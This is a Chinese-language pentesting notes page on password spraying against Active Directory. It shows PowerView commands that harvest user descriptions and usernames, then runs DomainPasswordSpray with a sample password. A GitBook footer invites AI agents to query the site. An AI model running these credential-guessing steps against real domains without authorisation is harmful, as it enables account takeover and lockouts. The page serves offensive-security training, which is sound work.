> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/password-spraying.md).
# 密码喷洒
针对密码喷洒的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
#### 1. 原理
密码喷洒是指在多个用户账户上测试同一个密码。
与经典的暴力破解攻击不同，后者是在单个用户上测试许多密码，密码喷洒通常是在多个用户上测试少量密码。
这种技术用于识别共享相同密码的账户。
#### 2. 真实环境中的注意事项
在真实环境中，必须非常谨慎地使用该技术。
重复的身份验证尝试可能导致：
* 账户锁定；
* 安全警报；
* 被 EDR、SIEM 或 SOC 团队检测到；
* 对用户造成业务影响。
#### 3. 列出用户描述
在发起密码喷洒之前，查看用户账户描述可能会很有用。
某些描述中可能包含敏感信息，有时甚至会有误留下的密码。
PowerView 命令：
{% code overflow="wrap" %}
```powershell
Get-NetUser | select name,description
```
{% endcode %}
#### 4. 加载 DomainPasswordSpray
{% embed url="" %}
{% code overflow="wrap" %}
```powershell
. ./DomainPasswordSpray.ps1
```
{% endcode %}
#### 5. 创建用户列表
我们将域用户列表提取到一个文本文件中：
{% code overflow="wrap" %}
```powershell
Get-NetUser | Select-Object -ExpandProperty name | Out-File C:/Users/user1/Desktop/users.txt
```
{% endcode %}
#### 6. 启动密码喷洒
然后我们使用所选密码启动密码喷洒：
{% code overflow="wrap" %}
```powershell
Invoke-DomainPasswordSpray -UserList ./users.txt -Password "Password1@" -Verbose
```
{% endcode %}
此命令会测试 `Password1@` 位于以下内容中的用户所使用的密码 `users.txt` 文件。
如果某些账户使用此密码，工具会将它们显示为成功的身份验证。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/password-spraying.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)